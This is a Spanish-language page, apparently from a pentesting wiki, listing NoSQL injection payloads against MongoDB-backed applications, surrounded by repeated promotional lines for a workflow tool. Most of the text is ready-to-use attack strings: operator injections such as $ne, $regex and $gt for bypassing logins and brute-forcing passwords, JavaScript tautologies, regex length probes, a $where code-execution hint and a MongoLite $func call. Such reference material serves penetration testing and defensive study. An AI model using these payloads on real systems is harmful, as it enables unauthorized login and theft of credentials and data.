Usa Trickest para construir y automatizar flujos de trabajo fácilmente, impulsados por las herramientas comunitarias más avanzadas del mundo.
Obtén acceso hoy:
En PHP puedes enviar un Array cambiando el parámetro enviado de parameter=foo a parameter[arrName]=foo.
Las explotaciones se basan en agregar un Operador:
username[$ne]=1$password[$ne]=1 #<Not Equals>username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameterusername[$regex]=.{25}&pass[$ne]=1#Use the <regex> to find the length of a valueusername[$eq]=admin&password[$ne]=1#<Equals>username[$ne]=admin&pass[$lt]=s#<Less than>, Brute-force pass[$lt] to find more usersusername[$ne]=admin&pass[$gt]=s#<Greater Than>username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7#<Matches non of the values of the array> (not test and not admin){ $where:"this.credits == this.debits"}#<IF>,canbeusedtoexecutecode
Un atacante puede explotar esto ingresando cadenas como admin' || 'a'=='a, haciendo que la consulta devuelva todos los documentos al satisfacer la condición con una tautología ('a'=='a'). Esto es análogo a los ataques de inyección SQL donde se utilizan entradas como ' or 1=1-- - para manipular consultas SQL. En MongoDB, se pueden realizar inyecciones similares utilizando entradas como ' || 1==1//, ' || 1==1%00, o admin' || 'a'=='a.
Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
Extraer información de longitud
username[$ne]=toto&password[$regex]=.{1}username[$ne]=toto&password[$regex]=.{3}# True if the length equals 1,3...
Usando el operador $func de la biblioteca MongoLite (usada por defecto) podría ser posible ejecutar una función arbitraria como en este informe.
"user":{"$func":"var_dump"}
Obtener información de una colección diferente
Es posible usar $lookup para obtener información de una colección diferente. En el siguiente ejemplo, estamos leyendo de una colección diferente llamada users y obteniendo los resultados de todas las entradas con una contraseña que coincide con un comodín.
NOTA:$lookup y otras funciones de agregación solo están disponibles si se utilizó la función aggregate() para realizar la búsqueda en lugar de las funciones más comunes find() o findOne().
Utiliza Trickest para construir y automatizar flujos de trabajo fácilmente, impulsados por las herramientas comunitarias más avanzadas del mundo.
Obtén acceso hoy:
Usa Trickest para construir y automatizar flujos de trabajo fácilmente, impulsados por las herramientas comunitarias más avanzadas del mundo.
Obtén acceso hoy: